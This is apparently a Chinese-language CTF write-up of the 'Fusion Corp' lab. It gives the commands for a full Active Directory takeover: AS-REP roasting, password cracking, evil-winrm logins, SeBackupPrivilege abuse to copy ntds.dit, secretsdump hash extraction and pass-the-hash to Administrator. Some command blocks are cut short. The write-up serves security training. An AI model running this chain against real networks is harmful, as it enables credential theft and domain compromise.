Before all
Attacker’s IP : 10.9.195.189
Victim’s IP : 10.10.180.227
Victim’s IP : fusion.corp
Write Up
RECON
port scan
Command:
1 | rustscan -a 10.10.180.227 --ulimit 5000 -- -sC -sV -Pn --script ldap* |
Result:
發現Kerberos、80 port的web、samba還有一坨rpc port
透過ldap的script拿到域名:fusion.corp
directory enumeration
command:
1 | dirsearch --url http://10.10.180.227/ |
發現backup路徑:
發現 employees.ods 路徑,下載後打開它拿到 account list:
Exploit
GetNPUser to lparker
先試試看有沒有使用者不需要preauth拿TGT HASH,經過嘗試,找到使用者 lparker的密碼hash:
1 | python3 GetNPUsers.py fusion.corp/lparker -no-pass |
用john炸一下密碼:
1 | john-the-ripper lparker-pass --wordlist=/home/wha13/wordlists/rockyou.txt |
以 evil-winrm 進行 PsRemote 登入 (如果要確認可以用blood-hound爬一遍、或者說其實他有開port 5985就高機率有了)
command:
1 | evil-winrm -u lparker -i 10.10.180.227 |
Privilege escalation
Info Gathering to jmurphy
先確認看看AD裡面的使用者資訊:
1 | Get-ADUser -Filter * -Properties * |
痾…Joseph Murphy你知道你密碼有外洩ㄇ(X)
再用evil-winrm跳一次
command:
1 | evil-winrm -u jmurphy -i 10.10.180.227 |
SeBackupPrivilege Abuse
進去jmurphy後,起手式先打whoami /priv
查權限:
有 SeBackupPrivilege 後可以對許多檔案進行備份(當然,包含sam和system)。
然而,像是儲存AD遠端連線帳密的C:\windows\ntds這類文件是被system保護的,所以無法直接進行複製。
而因為下一個目標是要拿到遠端的Administrator權限而不是本機的,所以不能用SAM+SYSTEM去抓,而是ntds搭配SYSTEM
利用特製的.dsh file搭配diskshadow進行槽複製:
exp.dsh:
1 | set context persistent nowriters |
接著在Evil-Winrm做以下操作:
1 | mkdir /Temp |
到這邊基本上已經把檔案都複製到C:\Temp
最後用Evil-Winrm的download指令把他們抓到本地就好ㄌowob
本地轉譯成NTLM HASH:
利用Impacket庫的secretsdump
1 | python3 secretsdump.py -ntds ntds.dit -system system LOCAL |
最後把拿到的NT HASH打Pass The Hash Attack就好:
1 | evil-winrm -u Administrator -H <REDACTED> -i 10.10.180.22 |
After all
打AD好開心,不過今天依舊沒有自己從頭打完= =
Reference:
https://viperone.gitbook.io/pentest-everything/writeups/tryhackme/linux/fusion-corp